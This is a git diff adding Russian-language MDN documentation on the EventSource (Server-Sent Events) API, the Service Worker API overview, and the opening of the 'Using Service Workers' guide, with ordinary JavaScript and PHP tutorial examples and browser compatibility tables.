Если файл с генератором событий размещен на другом домене, то должен быть создан новый объект EventSource в который следует передать помимо URI еще и словарь опций. Например, если предположить, что клиентский скрипт находится на example.com:

+ +
const evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } ); 
+
+ +

Как только вы создали экземпляр EventSource, вы можете начать прослушивание сообщений с сервера, добавив обработчик для события {{event("message")}} :

+ +
evtSource.onmessage = function(event) {
+  const newElement = document.createElement("li");
+  const eventList = document.getElementById('list');
+
+  newElement.innerHTML = "message: " + event.data;
+  eventList.appendChild(newElement);
+}
+
+ +

Этот код прослушивает входящие сообщения (то есть уведомления от сервера, на которых нет поля event) и добавляет текст сообщения в список в HTML-документе.

+ +

Вы также можете прослушивать события, используя addEventListener():

+ +
evtSource.addEventListener("ping", function(event) {
+  const newElement = document.createElement("li");
+  const time = JSON.parse(event.data).time;
+
+  newElement.innerHTML = "ping at " + time;
+  eventList.appendChild(newElement);
+});
+ +

Этот код аналогичен коду выше, за исключением того, что он будет вызываться автоматически всякий раз, когда сервер отправляет сообщение с полем event, установленным в «ping»; затем он парсит JSON в поле data и выводит эту информацию.

+ +

Отправка событий с сервера

+ +

Код на стороне сервера, который отправляет события, должен отвечать, используя MIME-тип text/event-stream. Каждое уведомление отправляется в виде блока текста, оканчивающегося парой новых строк (\n) . Подробнее о формате потока событий см.  {{ anch("Event stream format") }}.

+ +

{{Glossary("PHP")}} код, который мы используем для примера приведен ниже:

+ +
date_default_timezone_set("America/New_York");
+header('Cache-Control: no-cache');
+header("Content-Type: text/event-stream\n\n");
+
+$counter = rand(1, 10);
+while (1) {
+  // Every second, send a "ping" event.
+
+  echo "event: ping\n";
+  $curDate = date(DATE_ISO8601);
+  echo 'data: {"time": "' . $curDate . '"}';
+  echo "\n\n";
+
+  // Send a simple message at random intervals.
+
+  $counter--;
+
+  if (!$counter) {
+    echo 'data: This is a message at time ' . $curDate . "\n\n";
+    $counter = rand(1, 10);
+  }
+
+  ob_end_flush();
+  flush();
+  sleep(1);
+}
+
+ +

Приведенный выше код генерирует событие каждую секунду с типом события «ping». Данные каждого события - это объект JSON, содержащий метку времени ISO 8601, соответствующую дате, когда было сгенерировано событие. Через случайные интервалы отправляется простое сообщение (без типа event).

+ +
+

Примечание: Вы можете найти полный пример, который использует код, показанный в этой статье на GitHub - см. Simple SSE demo using PHP.

+
+ +

Обработка ошибок

+ +

Когда возникают проблемы (такие как тайм-аут ответа сети или проблемы, связанные с контролем доступа), тогда генерируется событие error. Вы можете обработать это событие программно, реализовав метод onerror для объекта EventSource:

+ +
evtSource.onerror = function(error) {
+  console.error("⛔ EventSource failed: ", error);
+};
+
+ +

Закрытие потоков событий

+ +

По умолчанию, если соединение между клиентом и сервером закрывается, то соединение сбрасывается. Прервать соединение можно с помощью метода .close().

+ +
evtSource.close();
+ +

Формат потока событий

+ +

Поток событий представляет из себя простой поток текста, который должен иметь кодировку UTF-8. Сообщения в потоке событий разделяются парой символов новой строки. Двоеточие, как первый символ строки считается комментарием и игнорируется.

+ +
Примечание: Строка комментария может использоваться, чтобы предотвратить тайм-аут соединений; сервер может периодически отправлять комментарий, чтобы поддерживать соединение.
+ +

Каждое сообщение содержит одну или более строчек текста, которые перечиляют поля этого сообщения. Каждое имеет свое имя, за которым следует двоеточие, после которого идут текстовые данные для значения этого поля. 

+ +

Поля

+ +

Каждое полученное сообщение имеет некоторую комбинацию следующих полей, по одному на строку:

+ +
+
event
+
Строка, идентифицирующая тип описанного события. Если event указан, то событие будет отправлено в браузер слушателю для указанного имени события. Исходный код сайта должен использовать addEventListener() для прослушивания именованных событий. Обработчик onmessage вызывается, если для сообщения не указано имя события.
+
data
+
Поле данных для сообщения. Когда EventSource получает несколько последовательных строк, начинающихся с data:, он объединяет их, вставляя символ новой строки между каждой из них. Последние переводы строки удаляются.
+
id
+
Идентификатор события для установки значения последнего ID события для объекта EventSource.
+
retry
+
Время переподключения, используемое при попытке отправить событие. Это должно быть целое число, указывающее время переподключения в миллисекундах. Если указано нецелое значение, поле игнорируется.
+
+ +

Другия названия полей игнорируются.

+ +
Примечание: If a line doesn't contain a colon, the entire line is treated as the field name with an empty value string.
+ +

Примеры

+ +

Сообщения с данными

+ +

В следующем примере отправлено три сообщения. Первый - это просто комментарий, так как он начинается с символа двоеточия. Как упоминалось ранее, это может быть полезно в качестве подтверждения активности, если сообщения могут отправляться не регулярно.

+ +

Второе сообщение содержит поле данных со значением «some text». Третье сообщение содержит поле данных со значением «another message \n with two lines». Обратите внимание на специальный символ новой строки в значении.

+ +
: this is a test stream
+
+data: some text
+
+data: another message
+data:
+
+ +

Именованные события

+ +

Данный пример отправляет именованные события. У каждого из них есть имя события, указанное в поле event, и поле data, значением которого является соответствующая строка JSON с данными, необходимыми для клиента, чтобы реагировать на событие. Поле data может, конечно, содержать любые строковые данные; это не обязательно должен быть JSON.

+ +
event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
+
+event: userdisconnect
+data: {"username": "bobby", "time": "02:34:23"}
+
+event: usermessage
+data: {"username": "sean", "time": "02:34:36", "text": "Bye, bobby."}
+
+ +

Смешивание и сопоставление

+ +

Вам не нужно использовать только неназванные сообщения или именованные события. Вы можете смешать их вместе в одном потоке событий.

+ +
event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+data: Here's a system message of some kind that will get used
+data: to accomplish some task.
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
+ +

Совместимость с браузерами

+ +
+

EventSource

+ +
+ + +

{{Compat("api.EventSource")}}

+
+
diff --git a/files/ru/web/api/service_worker_api/index.html b/files/ru/web/api/service_worker_api/index.html new file mode 100644 index 0000000000..be8e729086 --- /dev/null +++ b/files/ru/web/api/service_worker_api/index.html @@ -0,0 +1,280 @@ +--- +title: Service Worker API +slug: Web/API/Service_Worker_API +tags: + - API + - Landing + - NeedsTranslation + - Offline + - Overview + - Reference + - Service Workers + - TopicStub + - Workers +translation_of: Web/API/Service_Worker_API +--- +
+

{{ServiceWorkerSidebar}}

+ +

Service worker фактически выполняет роль прокси-сервера, находящегося между веб-приложением и браузером, а также сетью (если доступна). Он позволяет (кроме прочего) описывать корректное поведение веб-приложения в режиме офлайн, перехватывать запросы сети и принимать соответствующие меры, основываясь на доступности сети, и обновлять данные, находящиеся на сервере при доступе к нему. Также они имеют доступ к push-уведомлениям и API для фоновой синхронизации.

+
+ +

Концепция и использование Service Worker

+ +

Service worker — это событийно-управляемый worker, регистрируемый на уровне источника и пути. Он представляет собой JavaScript-файл, который может контролировать веб-страницу/сайт, с которым он ассоциируется, перехватывать и модифицировать запросы навигации и ресурсов, очень гибко кешировать ресурсы, для того чтобы предоставить вам полный контроль над тем, как приложение ведет себя в определенных ситуациях (например, когда сеть не доступна).

+ +

Service worker запускается в контексте worker'ов, поэтому он не имеет доступа к DOM и работает в потоке отдельном от основного потока JavaScript, управляющего вашим приложением, а следовательно — не блокирует его. Он призван быть полностью асинхронным; как следствие, синхронные API, такие как XHR и localStorage, в Service Worker'е использовать нельзя.

+ +

Из соображений безопасности service worker'ы работают только по HTTPS (либо, в целях разработки, на localhost). Давать сторонним людям возможность измененять сетевые запросы крайне опасно. Кроме того, Service Worker API недоступен в режиме приватного просмотра браузера Firefox.

+ +
+

Заметка: Service Worker'ы выигрывают у предыдущих решений, таких как AppCache, потому что не делают предположений о том, что вы пытаетесь сделать, и не ломаются, в случаях если их предположения не оказываются верными; вы имеете полный контроль над всем.

+
+ +
+

Заметка: Service worker'ы широко используют промисы (Promises). В общем случае они будут ждать ответа, после которого вернутся с успешным или неудачным завершением. Архитектура на промисах для этого подоходит идеально.

+
+ +

Регистрация

+ +

Service worker сначала регистрируется с помощью метода {{domxref("ServiceWorkerContainer.register()")}}. В случае успешной регистрации, service worker будет загружен клиентом и попытается установиться/активироваться (см. ниже) для всех URL, доступных пользователю, или только для указанного вами подмножества.

+ +

Загрузка, установка и активация

+ +

Service Worker будет следовать следующему жизненному циклу:

+ +
    +
  1. Загрузка
    2. +
  2. Установка
    3. +
  3. Активация
    4. +
+ +

Когда пользователь впервые запросит доступ к сайту/странице, контролируемой Service Worker'ом, тот моментально будет загружен .

+ +

После этого он будет загружаться каждые 24 часа или около того. Он может загружаться и чаще, но он должен загружаться как минимум каждые 24 часа, чтобы предотвратить использование старой версии кода клиентом.

+ +

Установка производится в случае если загружаемый файл признается новым — либо отличным от уже установленного service worker (определяется через побайтовое сравнение), либо первым устанавливаемым service worker'ом для этой страницы/сайта.

+ +

Если это первый раз, когда service worker оказался доступен, будет проведена установка, а после успешного ее завершения — активация.

+ +

Если service worker уже существует, новая версия устанавливается в фоновом режиме, но не активируется — worker переходит в состояние в ожидании. Новая версия активируется только тогда, когда больше не останется загруженных страниц, использующих старый service worker. Как только это случится, новый service worker активируется (станет активным worker'ом). Активация может произойти раньше при использовании {{domxref ("ServiceWorkerGlobalScope.skipWaiting()")}}, а существующие страницы могут быть переведены под контроль активного воркера с помощью {{domxref ("Clients.claim()")}}.

+ +

Вы можете подписаться на {{domxref("InstallEvent")}}; для того чтобы подготовить ваш service worker к использованию, к примеру, чтобы создать кеш при помощи встроенного API хранилища и разместить внутри него данные, которые вам необходимы в вашем приложении для работы офлайн.

+ +

Есть также событие activate. Момент, когда это событие наступает, является удачным для очистки старого кеша и всего, что ассоциировалось с предыдущей версией вашего service worker'а.

+ +

Service worker может отвечать на запросы, используя событие {{domxref("FetchEvent")}}. Вы можете изменять ответ на эти запросы на свое усмотрение используя метод {{domxref("FetchEvent.respondWith") }}.

+ +
+

Заметка: Так как выполнение oninstall/onactivate может занять время, спецификация service worker предоставляет метод waitUntil, который возвращает промис, когда вызывается oninstall или onactivate. Функциональные события не отправляются service worker, пока промис не завершится успешно.

+
+ +

Для полного руководства по созданию рабочего примера читайте Использование Service Worker.

+ +

Другие варианты использования

+ +

Service worker'ы также предназначены для таких вещей, как:

+ + + +

В будущем service worker'ы будут способны на многие другие полезные вещи для веб-платформ, приближая их к нативным приложеням. Примечательно, что другие спецификации могут и будут использовать контекст service worker, к примеру для:

+ + + +

Интерфейс

+ +
+
{{domxref("Cache") }}
+
Представляет хранилище для объектов {{domxref("Request")}} / {{domxref("Response")}}, которые кешируются, как часть жизненного цикла {{domxref("ServiceWorker")}}.
+
{{domxref("CacheStorage") }}
+
Представляет хранилище для объектов {{domxref("Cache")}}. Он создает главную директорию для всех именовынных кешей, к которым {{domxref("ServiceWorker")}} имеет доступ, и поддерживает отображение строковых имен соответствующего объекта {{domxref("Cache")}}.
+
{{domxref("Client") }}
+
Представляет область видимости клиента service worker. Это либо документ в контексте браузера, либо {{domxref("SharedWorker")}}, который контролируется активным worker'ом.
+
{{domxref("Clients") }}
+
Представлет контейнер для списка объектов {{domxref("Client")}}; основной способ получить доступ к клиентам активного service worker'а текущего источника.
+
{{domxref("ExtendableEvent") }}
+
Расширяет жизненный цикл событий install и activate, отправляемых {{domxref("ServiceWorkerGlobalScope")}} как часть жизненного цикла service worker'а. Это гарантирует, что любое функциональное событие (как {{domxref("FetchEvent")}}) не отправится в {{domxref("ServiceWorker")}}, пока он не обновит шаблон данных, удалив устаревшие данные кеша.
+
{{domxref("ExtendableMessageEvent") }}
+
Обект событий {{event("message_(ServiceWorker)","message")}} запускается в service worker (когда канал сообщений в {{domxref("ServiceWorkerGlobalScope")}} получил новое сообщение из другого контекста) — расширяет жизненный цикл таких событий.
+
{{domxref("FetchEvent") }}
+
Параметр, передающийся в обработчик {{domxref("ServiceWorkerGlobalScope.onfetch")}}, FetchEvent представляет собой событие получения, которое отправляется в  {{domxref("ServiceWorkerGlobalScope")}} {{domxref("ServiceWorker")}}. Он содержит информацию о запросе и результирующем ответе и обеспечивает {{domxref("FetchEvent.respondWith", "FetchEvent.respondWith()")}} метод, который позволяет отправить произвольный ответ обратно контролируемой странице.
+
{{domxref("InstallEvent") }}
+
Параметр, передющийся в  {{domxref("ServiceWorkerGlobalScope.oninstall", "oninstall")}} обработчик, InstallEvent представляет сообой событие установки, которое отправляется {{domxref("ServiceWorkerGlobalScope")}} {{domxref("ServiceWorker")}}. Как наследник {{domxref("ExtendableEvent")}}, он гарантирует, что функциональные события, такие как {{domxref("FetchEvent")}}, не будут отправлены во время установки. 
+
{{domxref("Navigator.serviceWorker") }}
+
Возвращает объект {{domxref("ServiceWorkerContainer")}}, который обеспечивает доступ к регистрации, удалению, обновлению и коммуникации с объектами {{domxref("ServiceWorker")}}ассоциируемого документа.
+
{{domxref("NotificationEvent") }}
+
Параметр, передаваемый в обработчик {{domxref("ServiceWorkerGlobalScope.onnotificationclick", "onnotificationclick")}}, интерфейс NotificationEvent представляет событие уведомления на клик, которое отправлется в {{domxref("ServiceWorkerGlobalScope")}} service worker'а.
+
{{domxref("ServiceWorker") }}
+
Представляет service worker. Несколько контекстов браузера (страницы, worker'ы, и т.д.) могут быть ассоциированы с одним объектом ServiceWorker.
+
{{domxref("ServiceWorkerContainer") }}
+
Предоставляет объект, описывающий service worker как общий блок в экосистеме сети, включая возможность регистрировать, отключать и обновлять service worker'ы, и предоставляет доступ к состоянию текущего и других зарагестрованных service worker'ов.
+
{{domxref("ServiceWorkerGlobalScope") }}
+
Представляет глобальный контекст исполнения service worker'а.
+
{{domxref("ServiceWorkerMessageEvent")}}
+
Содержит информацию о событии, отправленном целевому  {{domxref("ServiceWorkerContainer")}}. 
+
{{domxref("ServiceWorkerRegistration") }}
+
Представляет регистрацию service worker'а.
+
{{domxref("SyncEvent")}} {{non-standard_inline}}
+
+

SyncEvent предсталяет синхронное действие, котрое отправляется {{domxref("ServiceWorkerGlobalScope")}} ServiceWorker. 

+
+
{{domxref("SyncManager")}} {{non-standard_inline}}
+
Обеспечивает интерфейс регистрации и перечисления синхронных рагистраций.
+
{{domxref("WindowClient") }}
+
Предствляет область видимости клинетского service worker'а, представленного в виде документа в контекте браузера, контролируемого активным worker'ом. Это особый тип объекта {{domxref("Client")}} с некоторыми дополнительными методами и свойствами.
+
+ +

Спецификации (характеристики)

+ + + + + + + + + + + + + + +
Спецификации       СтатусКомментарий
{{SpecName('Service Workers')}}{{Spec2('Service Workers')}}Изначальное определение.
+ +

Совместимость

+ +

Таблица совместимости

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойстваChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{ CompatNo() }}24{{ CompatNo() }}
События установки/активации{{ CompatChrome(40.0) }}{{ CompatGeckoDesktop("44.0") }}[1]{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}
Событие fetch/request/
+ respondWith()		{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
Кеш +

{{CompatChrome(42.0)}}

+ 		{{ CompatGeckoDesktop("39.0") }}[1]{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatChrome(40.0)}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}
События установки/активации{{ CompatNo() }}{{CompatChrome(40.0)}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}
Событие fetch/request/
+ respondWith()		{{ CompatNo() }}{{CompatChrome(40.0)}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
Кеш{{ CompatNo() }}{{CompatChrome(40.0)}}{{ CompatGeckoMobile("39.0") }}{{ CompatVersionUnknown }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

[1] Service workers (и Push) были отключены в  Firefox 45 Extended Support Release (ESR.)

+ +

Смотрите также:

+ + diff --git a/files/ru/web/api/service_worker_api/using_service_workers/index.html b/files/ru/web/api/service_worker_api/using_service_workers/index.html new file mode 100644 index 0000000000..4eaa4dfc01 --- /dev/null +++ b/files/ru/web/api/service_worker_api/using_service_workers/index.html @@ -0,0 +1,524 @@ +--- +title: Использование Service Worker +slug: Web/API/Service_Worker_API/Using_Service_Workers +tags: + - основы ServiceWorker Workers руководство +translation_of: Web/API/Service_Worker_API/Using_Service_Workers +--- +

{{ServiceWorkerSidebar}}

+ +
+

В данной статье содержится информация о начале работы с сервис-воркерами, включая базовую архитектуру, процесс регистрации, а также установку и активацию новых сервис-воркеров, обновление существующих сервис-воркеров, управление кешем и настраиваемые ответы и все это в контексте простого приложения с offline-функциональностью.

+
+ +

Предпосылки появления Service Workers

+ +

Одной из важнейших проблем, от которой страдали пользователи веб-приложений, была работа в условиях потери связи. Лучшее в мире веб-приложение оставит ужасное впечатление от использования, если вы не сможете его загрузить. Предпринималось много попыток создания технологий, которые бы решили эту проблему, и если верить страницам нашего Форума, некоторые из вопросов были решены. Но все же наиважнейшей проблемой по-прежнему является отсутствие хорошего механизма для управления кешем ресурсов и настраиваемыми сетевыми запросами.
+
+ Предыдущей попыткой была технология AppCache, казавшаяся хорошей идеей, потому как позволяла действительно просто указывать ресурсы для кеширования. Однако, эта технология допускает много предположений о том, что вы пытаетесь сделать, и затем с грохотом ломается, когда ваше приложение работает не в точности с этими допущениями. Чтобы получить больше информации по этой теме, прочитайте (неудачно названную, но хорошо написанную) статью Джейка Арчибальда Application Cache is a Douchebag.

+ +
+

На заметку: Начиная с Firefox 44, когда используется AppCache для предоставления странице поддержки offline-режима, в консоли разработчика отображается предупреждение о том, что нужно использовать технологию Service Workers ({{bug("1204581")}}.)

+
+ +

Технология Service Workers должна в итоге решить озвученные выше вопросы. Синтаксис Service Worker более сложен, чем тот же AppCache, но взамен вы можете посредством JavaScript контролировать AppCache-подразумеваемое поведение с высокой степенью детализации, что позволяет вам решить описанную проблему и многие другие. Используя Service Worker, вы можете без труда получить приложение, использующее в первую очередь кешированные ресурсы, предоставляя тем самым поведение по умолчанию в автономном режиме, до того как будет получено по сети больше данных (такой подход называется Offline First). Так обычно работают нативные приложения, что часто является причиной выбора пользователя в их пользу.

+ +

Что нужно настроить, чтобы поиграть с Service Worker

+ +

Многие функции Service Worker теперь включены по умолчанию в новых браузерах, поддерживающих эту технологию. Однако, если вы обнаружите, что демонстрационный код не работает в вашей версии браузера, вам может понадобиться их включить:

+ + + +

Также вам необходимо предоставлять ваш код по протоколу HTTPS — Service Worker требует этого по соображениям безопасности. По этой причине GitHub — хороший выбор для экспериментов, поскольку он поддерживает протокол HTTPS по умолчанию. Для облегчения локальной разработки браузеры считают localhost также безопасным origin.

+ +

Базовая архитектура

+ +

Чтобы сделать базовую настройку Service Worker, как правило, нужно пройти следующие шаги:

+ +
    +
  1. URL сервис-воркера опрашивается и регистрируется посредством вызова метода {{domxref("ServiceWorkerContainer.register()")}}.
    2. +
  2. Если регистрация прошла успешно, то сервис-воркер начинает работать внутри {{domxref("ServiceWorkerGlobalScope") }}; это, по сути, особый вид контекста воркера, работающий вне главного потока браузера, без доступа к DOM.
    3. +
  3. Теперь сервис-воркер может обрабатывать события.
    4. +
  4. Установка сервис-воркера начинается после того, как все контролируемые им страницы закешированы и доступны для последующего использования. Событие install всегда посылается первым воркеру (оно может быть использовано для запуска начальной загрузки данных в IndexedDB, для кеширования ресурсов). Данный этап сродни процедуре установки нативного или FirefoxOS-приложения — все делается доступным для использования в оффлайн-режиме.
    5. +
  5. Как только обработчик события oninstall завершит свою работу, сервис-воркер считается установленным.
    6. +
  6. Далее следует активация. После того как воркер установлен, он получает событие onactivate, которое обычно используется для очистки ресурсов, задействованных в предыдущей версии скрипта сервис-воркера.
    7. +
  7. Сервис-воркер здесь может контролировать страницы, но только в случае, если те открыты после успешного вызова register(). То есть документ может начать жизнь с сервис-воркером или даже без него и продолжать нормально работать. Поэтому документы должны быть перезагружены, чтобы действительно быть подконтрольными сервис-воркеру.
    8. +
+ +

+ +

Следующий рисунок кратко показывает доступные события Service Worker:

+ +

install, activate, message, fetch, sync, push

+ +

Промисы (обещания)

+ +

Промисы — отличный механизм для запуска асинхронных операций, которые могут успешно зависеть друг от друга. Промисы имеют большое значение в работе сервис-воркеров.

+ +

Промисы могут делать много всего, но сейчас вам достаточно знать, что если что-то возвращает промис, то вы можете дописать вызов метода .then(), передав ему функцию на случай удачного выполнения, и вызов метода .catch(), если хотите передать функцию при неуспешном выполнении.

+ +

Давайте сравним структуру традиционного синхронного обратного вызова с его промис-эквивалентом.

+ +

sync

+ +
try {
+  const value = myFunction();
+  console.log(value);
+} catch(err) {
+  console.log(err);
+}
+ +

async

+ +
myFunction().then((value) => {
+  console.log(value);
+}).catch((err) => {
+  console.log(err);
+});
+ +

В первом примере код, идущий за вызовом функции myFunction(), будет ждать завершения вызова и возврата значения. Во втором примере myFunction() возвращает промис для value, в этом случае, последующий код сможет выполняться, не дожидаясь завершения основной работы функции. Когда промис разрешится, код, переданный методу then, будет выполнен асинхронно.

+ +

А вот вам реальный пример: что, если мы хотим загружать изображения динамически, к тому же мы желаем удостовериться, что изображения загрузились до того, как они будут показаны? То, что мы хотим сделать, является стандартной задачей, но она все же может доставить головной боли. Мы можем использовать .onload, чтобы показать изображение только после загрузки, но что делать с событиями, которые могут произойти до того, как мы начнем их слушать? Мы могли бы использовать .complete, но оно все еще ненадежно, да и что делать с повторяющимися изображениями? И наконец все это работает синхронно, блокируя главный поток.

+ +

Вместо этого мы можем написать собственный промис для работы с подобными случаями. (Вы можете найти исходный код в нашем примере Promises test или взглянуть на живое демо.)

+ +

{{note("Реальные реализации сервис-воркеров скорее всего будут использовать onfetch, а не устаревающий XMLHttpRequest API. Эти возможности не используются здесь, так что можете сосредоточиться на изучении промисов.")}}

+ +
const imgLoad = (url) => {
+  return new Promise((resolve, reject) => {
+    var request = new XMLHttpRequest();
+    request.open('GET', url);
+    request.responseType = 'blob';
+
+    request.onload = () => {
+      if (request.status == 200) {
+        resolve(request.response);
+      } else {
+        reject(Error('Image didn\'t load successfully; error code:' + request.statusText));
+      }
+    };
+
+    request.onerror = () => {
+      reject(Error('There was a network error.'));
+    };
+
+    request.send();
+  });
+}
+ +

Мы возвращаем новый промис, созданный конструктором Promise(), который в качестве аргумента принимает функцию с параметрами resolve и reject. Где-то внутри функции мы должны определить случаи, при которых промис должен быть разрешен или отклонен, — в нашем случае, в зависимости от того, вернулся ли статус 200 ОК или нет, будут вызваны resolve в случае успеха или reject при неудаче. Последующее содержимое этой функции — вполне стандартное XHR-наполнение, поэтому на данный момент не стоит о нем волноваться.

+ +

Вызывая функцию imgLoad(), мы ожидаемо передаем в качестве параметра url изображения, которое хотим загрузить, но далее код немного отличается:

+ +
let body = document.querySelector('body');
+let myImage = new Image();
+
+imgLoad('myLittleVader.jpg').then((response) => {
+  var imageURL = window.URL.createObjectURL(response);
+  myImage.src = imageURL;
+  body.appendChild(myImage);
+}, (Error) => {
+  console.log(Error);
+});
+ +

После вызова функции мы "цепляем" к ней вызов промис-метода then(), которому в качестве параметров передаем две функции - первая будет вызвана в случае выполнения промиса, созданного вызовом функции imgLoad(), вторая функция будет вызвана в случае отклонения этого промиса. В случае выполнения мы показываем изображение в элементе myImage, который прикрепляем к body (аргументом является request.response, помещенный в промис-методе resolve); в случае отклонения промиса в консоли будет отображено сообщение об ошибке.

+ +

Все это происходит асинхронно.

+ +
+

На заметку: Вы можете также объединять вызов нескольких промис-методов в одну цепочку, как в этом примере:
+ myPromise().then(success, failure).then(success).catch(failure);

+
+ +
+

На заметку: Вы можете получить гораздо больше информации о промисах, прочитав превосходную статью Джейка Арчибальда (Jake Archibald’s) JavaScript Promises: there and back again.

+
+ +

Демонстрация Service Workers

+ +

Чтобы продемонстрировать только базовые моменты регистрации и установки сервис-воркеров, мы создали простое демо-приложение, названое sw-test. Это простая галерея изображений "Star wars Lego". Оно использует промис-функции, чтобы прочитать из JSON-объекта и загрузить, используя технологию Ajax, изображения, находящиеся далее нижнего края страницы, до того как они будут показаны. В приложении также еще регистрируется, устанавливается и активируется сервис-воркер, и, в случае если браузер поддерживает спецификацию Service Worker, запрашиваемые ресурсы будут закешированы, и приложение будет работать в offline-режиме!

+ +


+
+ Вы можете посмотреть исходный код на GitHub, а также этот живой пример. Единственное, что мы тут рассмотрим, это промис (смотрите app.js строки 22-47), модифицированная версия того, о котором вы читали выше в разделе Тестовая демонстрация промисов. Разница в следующем:

+ +
    +
  1. Ранее мы передавали параметром лишь URL изображения, которое мы хотели загрузить. Теперь же, мы передаем JSON-фрагмент, содержащий все данные для изображения (посмотрите, как это выглядит в image-list.js). Это сделано потому, что все данные для выполнения каждого промиса должны быть переданы ему, так как он выполняется асинхронно. Если же вы передали лишь URL, а чуть позже попытались получить доступ к другим атрибутам в JSON-фрагменте внутри цикла for(), это бы не сработало, так как этот промис не был бы выполнен во время текущей итерации цикла (это синхронный процесс).
    2. +
  2. Теперь мы выполняем промис с параметром-массивом, так как дальше мы хотим сделать загруженные данные изображения доступными для разрешающей функции, одновременно с именем файла, данными авторства и замещающим текстом (см. app.js строки 31-34). Промисы будут выполняться со всего одним аргументом, поэтому, если вы хотите выполнить их с несколькими параметрами, вы должны использовать массив/объект.
    3. +
  3. Затем, чтобы получить доступ к выполненным значениям промисов, мы обращаемся к ним так, как было задумано (смотрите app.js строки 60-64). По началу это может выглядеть немного странно, но именно так и работают промисы.
    4. +
+ +

Погружение в Service Worker

+ +

Итак, переходим к Service Worker!

+ +

Регистрация воркеров

+ +

Ниже представлен первый блок кода файла app.js. Это точка входа в Service Worker.

+ +
if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('./sw-test/sw.js', {scope: './sw-test/'})
+  .then((reg) => {
+    // регистрация сработала
+    console.log('Registration succeeded. Scope is ' + reg.scope);
+  }).catch((error) => {
+    // регистрация прошла неудачно
+    console.log('Registration failed with ' + error);
+  });
+}
+ +
    +
  1. Внешний условный блок выполняет проверку на поддержку Service Worker, чтобы убедиться что технология доступна, до того как начать регистрацию.
    2. +
  2. Далее, чтобы зарегистрировать сервис-воркера для этого сайта, мы используем функцию {{domxref("ServiceWorkerContainer.register()") }}. Сервис-воркер представляет собой JavaScript-файл приложения (обратите внимание, что URL указывается относительно "корня", а не места расположения JS-файла, регистрирующего сервис-воркер).
    3. +
  3. Параметр scope - не обязателен, он может быть использован для указания подмножества контента, которое вы хотите отдать под контроль сервис-воркера. В нашем случае, мы указали './sw-test/'. Если вы не укажете его, то будет использовано значение по умолчанию; мы же указали его только в целях иллюстрации.
    4. +
  4. Метод .then() был использован для обработки успешной регистрации. Если промис разрешится успешно, то код, переданный этому методу, будет выполнен.
    5. +
  5. Ну и наконец, в конец нашего промиса мы добавляем функцию .catch(), которая будет выполнена в случае, если промис будет отклонен.
    6. +
+ +

Предыдущий код регистрирует сервис-воркера, который работает в worker-контексте, и следовательно, не имеет доступа к DOM. Затем вы запускате код в сервис-воркере, вне ваших страниц, чтобы контролировать их загрузку.

+ +

Один сервис-воркер может контролировать несколько страниц. Каждый раз, когда загружается страница, находящаяся в пределах области видимости, сервис-воркер будет установлен на ней и начнет работу. Поэтому будьте осторожны с применением глобальных переменных в скриптах сервис-воркеров, потому как у каждой страницы нет своего уникального экземпляра сервис-воркера.

+ +
+

На заметку: Сервис-воркеры функционально похожи на прокси-серверы, они позволяют модифицировать запросы и ответы, замещая записями из собственного кеша, и многое другое.

+
+ +
+

На заметку: Есть одна очень хорошая особенность при работе с сервис-воркерами. В случае, если вы используете функционал проверки поддержки Service Worker, то приложение в браузерах, не имеющих поддержки, продолжат нормально работать с ожидаемым поведением. Кроме того, если браузер поддерживает только AppCache, то будет использована эта технология. В случае, если браузер поддерживает и AppCache и Service Worker, то будет использована Service Worker.

+
+ +

Почему мой сервис-воркер не прошел регистрацию?

+ +

Это может произойти по следующим причинам:

+ +
    +
  1. Приложение загружено не по протоколу HTTPS.
    2. +
  2. Путь к сервис-воркеру указан некорректно — он должен быть написан относительно origin запроса, а не вашей корневой директории с приложением. В нашем примере воркер расположен в https://mdn.github.io/sw-test/sw.js, корневая папка — https://mdn.github.io/sw-test/. Но в качестве пути к сервис-воркеру нужно указывать /sw-test/sw.js, а не /sw.js.
    3. +
  3. Origin сервис-воркера отличается от origin вашего приложения. Это также запрещено.
    4. +
+ +

+ +

Также обратите внимание:

+ + + +

Установка и активация: заполнение кеша

+ +

После того как ваш сервис-воркер будет зарегистрирован, браузер может попробовать установить его и активировать на странице/сайте.

+ +

Событие install возникает после того как установка успешно завершится. Это событие используется главным образом для того, чтобы заполнить кеш браузера ресурсами, необходимыми для успешного запуска в offline-режиме. Для этого используется новый API хранилища Service Worker — {{domxref("cache")}} — глобальный для всех сервис-воркеров, который позволяет нам хранить результаты запросов, используя в качестве ключа для их получения сами запросы. Этот API работает аналогично стандартному кешу браузера, но только для вашего домена. Данные в кеше сохраняются до тех пор, пока вы сами не решите их удалить — вы имеете полный контроль.

+ +
+

На заметку: Cache API поддерживается не всеми браузерами (смотрите раздел {{anch("Browser support")}} чтобы получить больше информации). Если вы хотите сейчас использовать эту технологию, то можете рассмотреть возможность использования полифила, который доступен в Google's Topeka demo, или можете хранить ресурсы в IndexedDB.

+
+ +

